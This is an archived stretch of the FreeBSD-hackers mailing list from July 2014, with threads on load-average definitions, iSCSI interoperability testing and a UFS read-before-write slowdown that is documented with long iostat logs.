(mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1B52FC3B for ; Sun, 6 Jul 2014 17:55:35 +0000 (UTC) Received: from systemdatarecorder.org (ec2-54-246-96-61.eu-west-1.compute.amazonaws.com [54.246.96.61]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client CN "localhost", Issuer "localhost" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id AB7B9260D for ; Sun, 6 Jul 2014 17:55:33 +0000 (UTC) Received: from nereid (84-253-211-213.bb.dnainternet.fi [84.253.211.213]) (authenticated bits=0) by systemdatarecorder.org (8.14.4/8.14.4/Debian-2ubuntu2.1) with ESMTP id s66HrtNv005846 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT); Sun, 6 Jul 2014 17:53:56 GMT Date: Sun, 6 Jul 2014 20:55:25 +0300 From: Stefan Parvu To: Konstantin Belousov Subject: Re: run-queue length question Message-Id: <20140706205525.2b17295699db832fe198de8c@systemdatarecorder.org> In-Reply-To: <20140706123359.GD93733@kib.kiev.ua> References: <20140706143212.3d22d0adfa5dece52de203a3@systemdatarecorder.org> <20140706123359.GD93733@kib.kiev.ua> Organization: systemdatarecorder.org X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 17:55:35 -0000 > It is the Linux which follows the traditional definition of the load, > by counting running, ready to run and 'blocked on the fast i/o' processes > as adding to the load average. Also, I remember that FreeBSD up to 4.x > followed this definition. If I understood right, the classic example follows Solaris SunOS 2.x until Solaris 10 where rq does not include any iowait processes. Hmmm... for sure Solaris 7,8,9 were talking rq with no iowait. I dont remember now about Solaris 10 but I think it does not add iowait to the rq. And if I recall right Linux 2.4 had similar behaviour as Solaris. I dont recall FreeBSD but I recall sometime back there was no load average metric into kernel. I need to read src code for it. > Sometime during the 5.x rewrites the load was redefined to only count > running + ready to run threads, which is the current definition, used by LA. I see. Well Im happy today at least to see FreeBSD having a proper definition for rq comparative to Linux. Gunther [1] explains in details why rq does include running and runnable only, very well. Thanks a lot [1] - Analyzing Computer System Performance with Perl::PDQ 2nd edition http://www.perfdynamics.com/books.html -- Stefan Parvu From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 19:08:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C3CB9903; Sun, 6 Jul 2014 19:08:24 +0000 (UTC) Received: from mail-wi0-x230.google.com (mail-wi0-x230.google.com [IPv6:2a00:1450:400c:c05::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 09CD02BF9; Sun, 6 Jul 2014 19:08:23 +0000 (UTC) Received: by mail-wi0-f176.google.com with SMTP id n3so14955014wiv.15 for ; Sun, 06 Jul 2014 12:08:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:mail-followup-to :references:mime-version:content-type:content-disposition :content-transfer-encoding:in-reply-to:user-agent; bh=8gyXi8lm+M/BuPoyDu4b29Fsi3v+qNXMuSA6zzt4q1c=; b=MkSn4NX3t62RZ073iX/rBLYeOnYGkaCQ6fBqB7r8DTluXjQ8nK10D2qYE7qSUGgvrk 7E4k/Q7rpMTjMmKpJDm6haTcqZ7h3nNe94Dqx9HkG8GEZt2zycVCbKTGN+O7hiBo8hjP Mt/oOTZTbGDqlg1oTQ/l6BKCl4cmVbp53kGSvNefKwjjYCTNUbMLnYqmH6mwOtFXURjf Js6x7pb5UjJ0Eo7Odd8Uhiyuu47PHmi/BKUcF9elTSl7i+++1ESyDiTKFvxNzfvTvNkY NXrBpfnJlThzx28eb+FWnRnWg2HfehgmUq9HyuvUsyqW3zf5QiMd76wVXI3/FMA18QVO Da8g== X-Received: by 10.180.75.212 with SMTP id e20mr72745643wiw.5.1404673702165; Sun, 06 Jul 2014 12:08:22 -0700 (PDT) Received: from brick.home (adbh103.neoplus.adsl.tpnet.pl. [79.184.7.103]) by mx.google.com with ESMTPSA id gh16sm106070662wic.3.2014.07.06.12.08.21 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 06 Jul 2014 12:08:21 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Date: Sun, 6 Jul 2014 21:08:19 +0200 From: Edward Tomasz =?utf-8?Q?Napiera=C5=82a?= To: Craig Rodrigues Subject: Re: FreeBSD iscsi target Message-ID: <20140706190819.GA3032@brick.home> Mail-Followup-To: Craig Rodrigues , Sreenivasa Honnur , "freebsd-hackers@freebsd.org" , freebsd-current Current References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140701091252.GB3443@brick> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: "freebsd-hackers@freebsd.org" , Sreenivasa Honnur , freebsd-current Current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 19:08:24 -0000 On 0703T1615, Craig Rodrigues wrote: > On Tue, Jul 1, 2014 at 2:12 AM, Edward Tomasz NapieraĹ‚a > wrote: > > > In 10-STABLE there is a way to control access based on initiator > > name and IP address. > > > > Edward, > > Out of curiousity, what kinds of interop testing do you do when you > implement > the iSCSI code in FreeBSD? As for the target, I wrote a script to test it against both old and new FreeBSD initiators, Linux initiator (Open-iSCSI) and Solaris one; you can find it at tools/regression/iscsi/. I also did manual testing with Windows XP and Windows Vista. I don't remember if I actually succeeded to do any testing with ESX (trying to run ESX under Fusion is not such a good idea, it turns out), but I got a 3rd party report that it worked correctly. As for the initiator, I did manual testing against istgt, LIO (Linux) and COMSTAR (Solaris). > I work on FreeNAS at iXsystems, and we have > found > that iSCSI is a complex protocol, No kidding :-) > and there are interop issues, especially > with VMWare ESX. > Luckily I see that Alexander Motin has been working with you to commit > fixes to the iSCSI code, which help. > > I've rolled an experimental FreeNAS image based on FreeBSD 10 at svn > revision r268201 if you want to give it a try: > > http://download.freenas.org/nightlies/10.0.0/ALPHA/20140703/ For now I'm swamped with work on autofs, but I'd definitely want to redo all the testing before 10.1 - last time I did it was just before 10.0. From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 19:56:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BE561AE2; Sun, 6 Jul 2014 19:56:21 +0000 (UTC) Received: from mail-lb0-x234.google.com (mail-lb0-x234.google.com [IPv6:2a00:1450:4010:c04::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DB30D2FD3; Sun, 6 Jul 2014 19:56:20 +0000 (UTC) Received: by mail-lb0-f180.google.com with SMTP id w7so2265532lbi.39 for ; Sun, 06 Jul 2014 12:56:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=2vXZllrueFcr63zSSupswnbk81jvF2olx41UjbTqwZU=; b=zrVM1b9XeoZ0mhngXWYeNKhKUxvFGBb3ziBBkjDekH1PaofnsI9rUNp/uIvsH05nlv sV7X2LA1ihwzzoQ/+doOBZ2w72P5hJmR47dc1guBwoa92VVnNDw+++YFzSM5n0nnPLpS Gu9Tj+NZxWWgns0X+On4abnsUPt0oiF1i7ZfydCOoDCEgsM0xUfgldgo/Anc30nsGrH1 kHVn064R9+dsnKCX8sAxA+DnhNy4Vi0VaXXvss8CcgA+yvk6MsYud49wrc5VHquw3o0L BhwqjNuqiBX6WPGkaWxdgZL5YcQ63Dte1SA9Ok7SJE2Ue2Yba24IRU2OjYKl2oV3uY+U 5kQg== MIME-Version: 1.0 X-Received: by 10.112.76.167 with SMTP id l7mr10625173lbw.0.1404676578754; Sun, 06 Jul 2014 12:56:18 -0700 (PDT) Sender: crodr001@gmail.com Received: by 10.112.67.71 with HTTP; Sun, 6 Jul 2014 12:56:18 -0700 (PDT) In-Reply-To: <20140706190819.GA3032@brick.home> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140701091252.GB3443@brick> <20140706190819.GA3032@brick.home> Date: Sun, 6 Jul 2014 12:56:18 -0700 X-Google-Sender-Auth: 1e3Lvy7xqYbsqPn84Zw_uBogHsI Message-ID: Subject: Re: FreeBSD iscsi target From: Craig Rodrigues To: Craig Rodrigues , Sreenivasa Honnur , "freebsd-hackers@freebsd.org" , freebsd-current Current Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 19:56:21 -0000 On Sun, Jul 6, 2014 at 12:08 PM, Edward Tomasz Napiera=C5=82a wrote: > > As for the target, I wrote a script to test it against both old and new > FreeBSD initiators, Linux initiator (Open-iSCSI) and Solaris one; you > can find it at tools/regression/iscsi/. I also did manual testing with > Windows XP and Windows Vista. I don't remember if I actually succeeded > to do any testing with ESX (trying to run ESX under Fusion is not such > a good idea, it turns out), but I got a 3rd party report that it worked > correctly. > > As for the initiator, I did manual testing against istgt, LIO (Linux) > and COMSTAR (Solaris). > > > For now I'm swamped with work on autofs, but I'd definitely want to redo > all the testing before 10.1 - last time I did it was just before 10.0. > > Good stuff! When you have more time, I highly recommend that you collaborate with iXsystems (contact dev@ixsystems.com ) , since they can help you with doing interop testing with VMWare ESX and Windows Server environments. It is a lot of work to set up those environments and do the testing, but those environments are what are most heavily used in the real world data centers, and a number of customers are interested in using FreeNAS/TrueNAS (FreeBSD) as a backend storage to those operating systems. -- Craig From owner-freebsd-hackers@FreeBSD.ORG Sun Jul 6 22:09:16 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6F94DCF9; Sun, 6 Jul 2014 22:09:16 +0000 (UTC) Received: from gw.catspoiler.org (gw.catspoiler.org [75.1.14.242]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0DD682A48; Sun, 6 Jul 2014 22:09:15 +0000 (UTC) Received: from FreeBSD.org (mousie.catspoiler.org [192.168.101.2]) by gw.catspoiler.org (8.13.3/8.13.3) with ESMTP id s66LnGnm021769; Sun, 6 Jul 2014 14:49:20 -0700 (PDT) (envelope-from truckman@FreeBSD.org) Message-Id: <201407062149.s66LnGnm021769@gw.catspoiler.org> Date: Sun, 6 Jul 2014 14:49:16 -0700 (PDT) From: Don Lewis Subject: Re: Strange IO performance with UFS To: kostikbel@gmail.com In-Reply-To: <20140705195816.GV93733@kib.kiev.ua> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Cc: freebsd-fs@FreeBSD.org, sparvu@systemdatarecorder.org, freebsd-hackers@FreeBSD.org, roger.pau@citrix.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Jul 2014 22:09:16 -0000 On 5 Jul, Konstantin Belousov wrote: > On Sat, Jul 05, 2014 at 06:18:07PM +0200, Roger Pau Monn? wrote: >> On 05/07/14 13:24, Konstantin Belousov wrote: >> > On Sat, Jul 05, 2014 at 12:35:11PM +0200, Roger Pau Monn? wrote: >> >> On 05/07/14 11:58, Konstantin Belousov wrote: >> >>> On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? >> >>> wrote: >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >> >>>> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >> >>>> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a >> >>>> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 >> >>>> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 >> >>>> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 >> >>>> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 >> >>>> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 >> >>>> kernel`dofilewrite+0x85 kernel`kern_writev+0x65 >> >>>> kernel`sys_write+0x63 >> >>>> >> >>>> This can also be seen by running iostat in parallel with the >> >>>> fio workload: >> >>>> >> >>>> device r/s w/s kr/s kw/s qlen svc_t %b ada0 >> >>>> 243.3 233.7 31053.3 29919.1 31 57.4 100 >> >>>> >> >>>> This clearly shows that even when I was doing a sequential >> >>>> write (the fio workload shown above), the disk was actually >> >>>> reading more data than writing it, which makes no sense, and >> >>>> all the reads come from the path trace shown above. >> >>> >> >>> The backtrace above means that the BA_CLRBUF was specified for >> >>> UFS_BALLOC(). In turns, this occurs when the write size is >> >>> less than the UFS block size. UFS has to read the block to >> >>> ensure that partial write does not corrupt the rest of the >> >>> buffer. >> >> >> >> Thanks for the clarification, that makes sense. I'm not opening >> >> the file with O_DIRECT, so shouldn't the write be cached in >> >> memory and flushed to disk when we have the full block? It's a >> >> sequential write, so the whole block is going to be rewritten >> >> very soon. >> >> >> >>> >> >>> You can get the block size for file with stat(2), st_blksize >> >>> field of the struct stat, or using statfs(2), field f_iosize of >> >>> struct statfs, or just looking at the dumpfs output for your >> >>> filesystem, the bsize value. For modern UFS typical value is >> >>> 32KB. >> >> >> >> Yes, block size is 32KB, checked with dumpfs. I've changed the >> >> block size in fio to 32k and then I get the expected results in >> >> iostat and fio: >> >> >> >> extended device statistics device r/s w/s kr/s kw/s >> >> qlen svc_t %b ada0 1.0 658.2 31.1 84245.1 58 108.4 >> >> 101 extended device statistics device r/s w/s kr/s >> >> kw/s qlen svc_t %b ada0 0.0 689.8 0.0 88291.4 54 >> >> 112.1 99 extended device statistics device r/s w/s kr/s >> >> kw/s qlen svc_t %b ada0 1.0 593.3 30.6 75936.9 80 >> >> 111.7 97 >> >> >> >> write: io=10240MB, bw=81704KB/s, iops=2553, runt=128339msec >> > >> > The current code in ffs_write() only avoids read before write when >> > write covers complete block. I think we can somewhat loose the >> > test to also avoid read when we are at EOF and write covers >> > completely the valid portion of the last block. >> > >> > This leaves the unwritten portion of the block with the garbage. I >> > believe that it is not harmful, since the only way for usermode to >> > access that garbage is through the mmap(2). The >> > vnode_generic_getpages() zeroes out parts of the page which are >> > after EOF. >> > >> > Try this, almost completely untested: >> >> Doesn't seem to help much, I'm still seeing the same issue. I'm >> sampling iostat every 1s, and here's the output form the start of the >> 4k block fio workload: >> >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 349.5 0.0 44612.3 48 88.0 52 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 655.4 0.0 83773.6 76 99.8 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 699.2 0.0 89493.1 59 109.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 628.1 0.0 80392.6 55 114.8 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 655.7 0.0 83799.6 79 98.4 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 701.4 0.0 89782.0 80 105.5 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 697.9 0.0 89331.6 78 112.0 103 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 714.1 0.0 91408.7 77 110.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 724.0 0.0 92675.0 67 112.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 700.4 0.0 89646.6 49 102.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 686.4 0.0 87857.2 78 110.0 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 702.0 0.0 89851.6 80 112.9 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 736.3 0.0 94246.4 67 110.1 103 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 624.6 0.0 79950.0 48 115.7 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 704.0 0.0 90118.4 77 106.1 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 714.6 0.0 91470.0 80 103.6 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 710.4 0.0 90926.1 80 111.1 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 655.3 0.0 83882.1 70 115.8 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 539.8 0.0 69094.5 80 121.2 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 711.6 0.0 91087.6 79 107.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 705.5 0.0 90304.5 81 111.3 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 727.3 0.0 93092.8 81 108.9 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 699.5 0.0 89296.4 55 109.0 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 689.0 0.0 88066.1 78 96.6 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 738.3 0.0 94496.1 56 109.1 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 615.4 0.0 78770.0 80 112.3 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 707.3 0.0 90529.8 86 105.7 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 704.3 0.0 89333.9 67 98.3 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 641.3 0.0 82081.5 80 112.3 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 701.6 0.0 89747.9 51 101.1 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 693.0 0.0 88702.1 80 103.6 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 632.7 0.0 80991.8 80 112.0 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 709.0 0.0 90748.2 80 107.5 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 715.0 0.0 91523.0 80 104.7 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 650.1 0.0 83210.5 56 110.9 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 682.2 0.0 87319.1 57 107.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 719.0 0.0 92032.6 80 103.6 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 624.3 0.0 79905.8 80 110.5 97 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 696.5 0.0 89151.7 80 109.9 103 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 664.2 0.0 85017.6 77 109.9 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 681.7 0.0 87254.0 80 107.5 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 668.5 0.0 85569.3 57 109.9 99 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 682.3 0.0 87329.0 53 110.8 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 0.0 643.9 0.0 82420.9 77 104.8 101 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 107.5 457.1 13701.7 58471.3 57 106.0 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 220.9 253.9 28281.4 32498.9 54 108.8 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 290.6 277.9 37198.8 35576.1 65 94.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 309.3 267.9 39590.7 34295.9 80 89.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 213.6 302.0 27212.7 38562.0 24 93.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 232.1 224.3 29712.5 28339.8 31 117.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 262.9 249.4 33654.0 31928.1 47 81.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 232.2 229.2 29721.6 29340.5 50 78.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 222.8 229.4 28430.0 29362.7 42 85.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 231.5 246.5 29628.8 31555.9 6 72.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 261.7 256.8 33498.7 32769.1 33 83.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 262.7 260.7 33628.3 33279.4 35 85.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 234.0 249.1 29867.9 31883.1 18 90.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 252.1 239.8 32263.0 30581.4 32 91.2 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 241.5 257.5 30917.0 32961.1 16 69.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 257.9 243.5 33011.9 31164.2 32 86.8 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 237.5 235.6 30311.2 30046.9 31 67.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 290.4 213.1 37172.8 27277.0 79 65.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 216.4 284.3 27703.7 36392.5 42 95.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 223.8 248.2 28645.1 31774.4 16 69.4 89 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 294.0 217.7 37544.4 27864.2 64 68.0 110 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 210.7 245.6 26966.6 31439.8 59 107.4 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 228.5 265.2 29246.6 33940.5 10 99.2 98 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 279.1 218.4 35727.2 27955.0 52 71.9 102 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 232.3 293.4 29607.9 37521.4 14 93.2 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 299.5 236.6 38340.2 30288.8 79 69.7 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 216.3 268.9 27686.3 34417.3 4 90.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 285.8 261.0 36585.3 33409.5 53 84.6 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 228.5 232.5 29059.7 29661.1 48 74.3 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 242.7 262.4 31060.0 33588.2 27 69.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 248.2 252.2 31766.1 32149.3 8 78.9 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 267.9 230.2 34288.6 29462.8 62 68.5 100 >> extended device statistics >> device r/s w/s kr/s kw/s qlen svc_t %b >> ada0 238.0 266.2 30375.8 34075.6 0 95.4 100 >> >> As can be seen from the log above, at first the workload runs fine, >> and the disk is only performing writes, but at some point (in this >> case around 40% of completion) it starts performing this >> read-before-write dance that completely screws up performance. > > I reproduced this locally. I think my patch is useless for the fio/4k write > situation. > > What happens is indeed related to the amount of the available memory. > When the size of the file written by fio is larger than the memory, > system has to recycle the cached pages. So after some moment, doing > a write has to do read-before-write, and this occurs not at the EOF > (since fio pre-allocated the job file). It would seem to be much better to recycle pages associated parts of the file that haven't been touched in a long time before recycling pages associated with the filesystem block that is currently being written. If the writes are sequential, then it definitely makes sense to hang on to the block until the last portion of the block is written. It sounds like we are doing pretty much the opposite of this. What seems odd is that it sounds like we are detecting the partial write of a block, reading the block from the disk, updating it with the new partial data, writing the block, and then immediately tossing it. It seems odd that the the dirty block isn't allowed to stick around until the syncer causes it to be written, with clean blocks being reclaimed in the meantime. From owner-freebsd-hackers@FreeBSD.ORG Mon Jul 7 10:18:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 869C52E2; Mon, 7 Jul 2014 10:18:18 +0000 (UTC) Received: from mail-qa0-x22c.google.com (mail-qa0-x22c.google.com [IPv6:2607:f8b0:400d:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3AE4F23C1; Mon, 7 Jul 2014 10:18:18 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id hw13so3358874qab.31 for ; Mon, 07 Jul 2014 03:18:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=5dHmZokX1fKZedob97JT7h4BBevbsIAtR4cfn9NpYMw=; b=ZW4+m8I3UA6aGdAiFahFr4iIfJnJhJ2z2S42dqJhfMl2q1tP4aKjPgo4oEGWSZZu4M flfkCSux1/mP5lqo9zG0RWk6ND6O+JrJoxrewIm3V+h5zMBKSFPoLCPmk6uZ1SJ3eAS2 03P3O5tgD8d8lEjJRzJMISnS+isIxhIARg0OZ9fKq44Eue45DRWvPNJI7Y20i11FZ6jV DETakqy7Lzo4tVgHxkG5ZSQ8tGTcakzM/x8k0Px7KHADOV6lNOi/Xf4ANJrFp6SQCCEk KZ+2qN+1OW6h6qMC9vnYafTe+3fVqP/ZSEelJhlI6Dr2boJL21LdVF2vuiXUutHUO1jj drvA== MIME-Version: 1.0 X-Received: by 10.140.48.45 with SMTP id n42mr44217149qga.107.1404728297213; Mon, 07 Jul 2014 03:18:17 -0700 (PDT) Sender: carpeddiem@gmail.com Received: by 10.140.49.239 with HTTP; Mon, 7 Jul 2014 03:18:17 -0700 (PDT) Date: Mon, 7 Jul 2014 06:18:17 -0400 X-Google-Sender-Auth: ev1AofVU13g-RwqjJcnfsJPT5OY Message-ID: Subject: Call for FreeBSD 2014Q2 (April-June) Status Reports From: Ed Maste To: freebsd-hackers@freebsd.org, FreeBSD Current Content-Type: text/plain; charset=UTF-8 